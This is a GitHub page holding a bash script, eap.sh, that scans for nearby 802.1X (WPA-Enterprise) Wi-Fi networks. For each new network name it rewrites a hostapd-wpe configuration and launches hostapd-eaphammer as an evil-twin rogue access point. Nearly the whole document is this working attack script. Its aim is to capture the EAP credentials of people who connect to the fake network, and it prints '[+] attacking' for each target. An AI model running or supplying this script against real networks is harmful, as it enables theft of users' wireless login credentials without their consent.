-
Notifications
You must be signed in to change notification settings - Fork 6
/
eap.sh
executable file
·51 lines (46 loc) · 1.42 KB
/
eap.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
[[ $# -ge 1 ]] && attack_time="$1" || attack_time=15
[ -z "$IFACE" ] && IFACE='wlan0'
AGO=3
declare -a essids
cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/hostapd-wpe.conf
sed -i "s/interface=.*/interface=$IFACE/g" /tmp/hostapd-wpe.conf
function monitor(){
sudo tcpdump -i $IFACE -e -nn 2> /dev/null | while read line
do
if echo "$line" | grep -q 'Probe'; then
essid=$(echo "$line" | sed -rn 's/.*SA:(.+) Probe Request .*\(([^\)]+)\).*/\2/p')
[[ "x" != "x$essid" ]] && echo $(date +"%s") "$essid"
elif echo "$line" | grep -q 'Beacon'; then
essid=$(echo "$line" | sed -rn 's/.*BSSID:(.+) DA.* Beacon \(([^\)]+)\).*/\2/p')
echo $(date +"%s") "$essid"
fi
done
}
function scan(){
sudo ifconfig $IFACE up
while :; do
sudo iw dev $IFACE scan
sleep 1
done | grep -e 'SSID:' -e 'Authentication suites:' --line-buffered | while read line
do
if echo "$line" | grep -q 'SSID:'; then
essid=$(echo "$line" | sed -rn 's/.*SSID: (.*)/\1/p')
echo -n . >&2
elif echo "$line" | grep -q 'Authentication suites:'; then
if echo "$line" | grep -q '802.1X'; then
echo $(date +"%s") "$essid"
fi
fi
done
}
scan | while read ts essid
do
[[ "$[ts+AGO]" -ge $(date +"%s") ]] || continue
if [[ ! "${essids[*]}" =~ "$essid" ]]; then
sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-wpe.conf
echo "[+] attacking $essid"
sudo timeout $attack_time hostapd-eaphammer -x /tmp/hostapd-wpe.conf
essids+=("$essid")
fi
done